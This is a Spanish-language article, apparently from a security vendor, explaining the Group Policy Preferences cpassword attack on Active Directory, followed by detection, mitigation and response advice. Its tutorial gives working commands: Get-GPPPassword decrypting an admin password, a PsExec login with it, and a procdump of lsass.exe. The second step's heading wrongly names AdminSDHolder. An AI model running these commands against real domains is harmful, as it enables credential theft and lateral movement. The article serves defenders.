Ataque de extracción de contraseñas en texto plano
La Política de Grupo es esencial en la gestión de un entorno de Active Directory. En particular, los administradores la utilizan para gestionar centralmente las configuraciones aplicadas a servidores y estaciones de trabajo unidos al dominio; estas Políticas de Grupo definen políticas (configuraciones forzadas) y preferencias, que propagan configuraciones predeterminadas que un usuario puede modificar. Desafortunadamente, la Política de Grupo permitió a los administradores incrustar contraseñas en las preferencias de Política de Grupo que creaban usuarios locales o mapeaban unidades de red, y esas contraseñas estaban cifradas con una clave pública disponible. Por lo tanto, un adversario con la capacidad de leer estas políticas puede extraer y descifrar fácilmente estas contraseñas. En 2014, Microsoft lanzó una actualización de seguridad que elimina la capacidad de crear nuevas preferencias con contraseñas incrustadas, pero muchas organizaciones todavía tienen preferencias de Política de Grupo que incluyen contraseñas incrustadas.
Resumen de amenazas
Objetivo: Active Directory
Herramientas: PowerSploit, Metasploit
Táctica ATT&CK®: Acceso a Credenciales
Técnica ATT&CK: T1552.006
Dificultad
Detección: Baja
Mitigación: Baja
Respuesta: Baja
Tutorial de ataque: Cómo funciona un ataque de extracción de contraseñas en texto plano
PASO 1: Descubrir contraseñas en las preferencias de Group Policy
Las preferencias de Group Policy se almacenan como archivos XML en el recurso compartido SYSVOL en los controladores de dominio. El recurso compartido SYSVOL es accesible para Usuarios Autenticados, por lo que un adversario que haya obtenido un punto de apoyo dentro de la red puede acceder a su contenido. Un adversario puede analizar estos archivos XML manualmente, buscando instancias del atributo CPassword, que contiene las contraseñas cifradas. Atributos adyacentes proporcionan otros detalles, como el nombre de usuario. O pueden usar herramientas como el cmdlet de PowerSploit Get-GPPPasswords para automatizar el proceso de adquisición y descifrado de estas contraseñas, como se muestra a continuación.
PS> Import-Module PowerSploit
PS> Get-GPPPassword
Changed : {2020-08-17 11:14:01}
UserNames : {Administrator (built-in)}
NewName : [BLANK]
Passwords : {WhatAGreatPassword123!}
File : \\domain.com\SYSVOL\domain.com\Policies\{5AC5C2A3-B893-493E-B03A-D6F9E8BCC8CB}\Machine\Preferences\Groups\Groups.xml
PS>
PASO 2: Modificar la ACL de AdminSDHolder
Ahora que el adversario tiene el nombre de usuario y la contraseña de un administrador local, pueden enumerar los ordenadores en Active Directory en los que se aplica la Directiva de Grupo, lo que les proporciona una lista de ordenadores a los que pueden autenticarse utilizando estas credenciales. Con esta lista, el adversario puede continuar expandiendo su presencia dentro de la organización. En este ejemplo, el adversario se conecta a otro ordenador y crea un volcado de memoria del proceso LSASS.exe para permitir un mayor movimiento lateral o escalada de privilegios.
PS> [XML] $XML = Get-GPO -Guid 5AC5C2A3-B893-493E-B03A-D6F9E8BCC8CB | Get-GPOReport -ReportType Xml
PS> $XML.GPO.LinksTo
SOMName SOMPath Enabled NoOverride
------- ------- ------- ----------
Comp domain.com/Comp true false
PS> $DN = Get-ADOrganizationalUnit -filter { Name -eq $XML.GPO.LinksTo.SOMName } | Select -expand DistinguishedName
PS> Get-ADComputer -filter "*" -SearchBase $DN
DistinguishedName : CN=Server1,OU=Comp,DC=domain,DC=com
DNSHostName :
Enabled : True
Name : Server1
ObjectClass : computer
ObjectGUID : 4eeec15e-ee84-4195-b5c8-ee4d5d67efbf
SamAccountName : SERVER1$
SID : S-1-5-21-5840559-2756745051-1363507867-16924
UserPrincipalName :
PS> .\PSExec.exe -u Administrator -p WhatAGreatPassword123! \\server1 powershell.exe
PsExec v2.2 - Execute processes remotely
Copyright (C) 2001-2016 Mark Russinovich
Sysinternals - www.sysinternals.com
PS> procdump.exe -accepteula -r -ma lsass.exe lsass.dmp
PS>
Detectar, Mitigar y Responder
Detectar
Dificultad: Baja
Debido al gran volumen de operaciones de lectura que ocurren en operaciones normales, no es posible detectar directamente el acceso de un adversario a estos archivos. Sin embargo, es posible realizar una auditoría de contraseñas incrustadas en las Preferencias de Política de Grupo utilizando las mismas técnicas que usaría un adversario. Usar el cmdlet Get-GPPPassword contra cada dominio enumerará las contraseñas incrustadas (note que esto también revelará el texto plano). Alternativamente, el siguiente fragmento de PowerShell enumerará las contraseñas incrustadas sin descifrarlas:
# Replace this path with the path to SYSVOL to check
$SYSVOL_Path = "\\domain.com\sysvol"
Get-ChildItem $SYSVOL_Path -Recurse -File | Select-String -Pattern "cpassword"
# Sample Output using \\domain.com\sysvol
\\domain.com\sysvol\domain.com\Policies\{5AC5C2A3-B893-493E-B03A-D6F9E8BCC8CB}\Machine\Preferences\Groups\Groups.xml:2:<Gro
ups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"><User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}"
name="Administrator (built-in)" image="2" changed="2020-08-17 11:14:01"
uid="{EA0FCA83-45D2-4189-B476-DB595FB29E2D}"><Properties action="U" newName="" fullName="" description="Built-in Local
Admin" cpassword="Pe81R/eXjjPtd5oJw6D0hifqz78ezVt7tD0ViS9eTg+z2dKIvfwMRbD5JPFEA26i" changeLogon="0" noChange="0"
neverExpires="0" acctDisabled="0" subAuthority="RID_ADMIN" userName="Administrator (built-in)"/></User>
Mitigar
Dificultad: Baja
En resumen, todas las contraseñas incrustadas en las preferencias de Group Policy deben eliminarse. Además:
- Asegúrese de que todos los controladores de dominio estén ejecutando versiones actuales del sistema operativo con los últimos parches, ya que las versiones actuales de Windows Server no permiten la incrustación de contraseñas en las preferencias de Group Policy.
- Reemplace el uso de las preferencias de Directiva de grupo para establecer la contraseña de la cuenta de administrador local integrada por una solución robusta como la de Microsoft, Local Administrator Password Solution (LAPS).
- Adopte soluciones que reemplacen las contraseñas incrustadas con búsquedas dinámicas autenticadas.
Responder
Dificultad: Baja
Si descubre contraseñas incrustadas en las preferencias de Group Policy, se pueden tomar las siguientes acciones:
- Elimine la contraseña incrustada de la preferencia de Directiva de grupo.
- Restablezca la contraseña de la cuenta.
Compartir en
Ver ataques de ciberseguridad relacionados
Abuso de permisos de aplicaciones Entra ID – Cómo funciona y estrategias de defensa
Modificación de AdminSDHolder – Cómo funciona y estrategias de defensa
Ataque AS-REP Roasting - Cómo funciona y estrategias de defensa
Ataque Hafnium - Cómo funciona y estrategias de defensa
Ataques DCSync explicados: Amenaza a la seguridad de Active Directory
Ataque de Cuentas de Servicio Administradas por Grupo
Ataque Golden SAML
Entendiendo los ataques de Golden Ticket
Ataque DCShadow – Cómo funciona, ejemplos del mundo real y estrategias de defensa
ChatGPT Prompt Injection: Comprensión de riesgos, ejemplos y prevención
Ataque de extracción de contraseñas de NTDS.dit
Ataque de Kerberoasting – Cómo funciona y estrategias de defensa
Ataque de Pass the Hash
Explicación del ataque Pass-the-Ticket: Riesgos, ejemplos y estrategias de defensa
Ataque de Password Spraying
Explicación de la vulnerabilidad Zerologon: Riesgos, Explotaciones y Mitigación
Ataques de ransomware a Active Directory
Desbloqueando Active Directory con el ataque Skeleton Key
Movimiento lateral: Qué es, cómo funciona y prevenciones
Ataques de Hombre en el Medio (MITM): Qué son y cómo prevenirlos
¿Por qué es PowerShell tan popular entre los atacantes?
4 ataques a cuentas de servicio y cómo protegerse contra ellos
Cómo prevenir que los ataques de malware afecten a su negocio
¿Qué es Credential Stuffing?
Comprometiendo SQL Server con PowerUpSQL
¿Qué son los ataques de Mousejacking y cómo defenderse de ellos?
Robo de credenciales con un Proveedor de Soporte de Seguridad (SSP)
Ataques de Rainbow Table: Cómo funcionan y cómo defenderse de ellos
Una mirada exhaustiva a los ataques de contraseñas y cómo detenerlos
Reconocimiento LDAP
Eludir MFA con el ataque Pass-the-Cookie
Ataque de Silver Ticket